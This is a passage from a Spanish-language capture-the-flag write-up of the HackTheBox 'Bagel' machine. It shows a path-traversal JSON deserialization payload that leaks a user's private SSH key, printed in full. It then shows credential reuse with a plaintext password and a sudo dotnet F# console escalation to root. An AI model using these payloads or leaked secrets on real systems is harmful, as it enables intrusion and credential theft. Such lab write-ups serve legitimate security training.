Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
10    "WriteFile": null
11  },
12  "WriteOrder": null,
13  "ReadOrder": null
14}

Ahora bien, ya teníamos un LFI anteriormente, pero quizás el servidor de WebSocket no lo está ejecutando developer si no phil, así que vamos a intentar leer su clave privada.

Modificamos el payload.

1{
2    "RemoveOrder": {
3        "$type": "bagel_server.File, bagel",
4        "ReadFile": "../../../../../../../../home/phil/.ssh/id_rsa"
5    }
6}

Y podemos leer su clave privada, así que ya solo falta darla formato, permisos e iniciar sesión por SSH como phil

 1python3 exploit.py
 2[*] Enviando payload malicioso...
 3[*] Respuesta del servidor: {
 4  "UserId": 0,
 5  "Session": "Unauthorized",
 6  "Time": "6:12:40",
 7  "RemoveOrder": {
 8    "$type": "bagel_server.File, bagel",
 9    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
10    "WriteFile": null
11  },
12  "WriteOrder": null,
13  "ReadOrder": null
14}

Para darla formato simplemente hay que reemplazar la secuencia \n por saltos de línea reales, para ello podemos utilizar sed (por ejemplo).

1echo "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n..." | sed 's/\\n/\n/g' > id_rsa.phil

Podemos comprobar que ya tenemos la clave formateada. Write-up Image

Ahora simplemente le damos los permisos necesarios.

1chmod 600 id_rsa.phil

Y ya podemos iniciar sesión como phil

1ssh phil@bagel.htb -i id_rsa.phil
2Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
3[phil@bagel ~]$ id
4uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Podemos leer la flag de usuario.

1[phil@bagel ~]$ cat user.txt
2d71c8c414532a4...

User Pivoting

Al parecer poco puedo hacer como phil, pero recordemos que antes hemos visto una contraseña de acceso a base de datos, cuyo usuario se llamaba dev y recordemos que existe un usuario a nivel de sistema llamado developer, así que podemos utilizar el combo:

1developer:k8wdAYYKyhnjg3K

Y así migrar de usuario.

1[phil@bagel ~]$ su developer
2Password:
3[developer@bagel phil]$ id
4uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Privilege Escalation

Abusing dotnet interactive F# console

Vemos que developer puede ejecutar como root y sin introducir contraseña el binario dotnet, esto es una cagada enorme ya que podríamos crearnos un aplicación maliciosa .NET para ejecutar un comando a nivel de sistema.

1[developer@bagel phil]$ sudo -l
2Matching Defaults entries for developer on bagel:
3    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
4    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
5    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
6
7User developer may run the following commands on bagel:
8    (root) NOPASSWD: /usr/bin/dotnet

O simplemente podemos revisar GTFOBins y vemos que hay un método para escalar privilegios.

dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

Se utiliza el comando fsi, que es para iniciar una consola interactiva de F#.

1[developer@bagel phil]$ sudo dotnet fsi
2
3Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
4Copyright (c) Microsoft Corporation. All Rights Reserved.
5
6For help type #help;;
7
8>

Ahora hacemos uso del método System.Diagnostics.Process.Start para iniciar una bash y como estamos ejecutando dotnet como root, iniciaremos una consola como este usuario.

1> System.Diagnostics.Process.Start("/bin/bash").WaitForExit();;
2[root@bagel phil]# id
3uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Podemos leer la flag de root

1[root@bagel ~]# cat root.txt
24e820d511b8f6b06...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Bagel   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Directory Path Traversal   #Local File Inclusion   #Analyzing Python Source Code   #Brute-Forcing PID's Cmdline   #Decompiling .NET Dll W/DotPeek   #Analyzing .NET Source Code   #Information Disclosure   #Insecure JSON Deserialization   #Credentials Reuse   #User Pivoting   #Sudo Dotnet Permission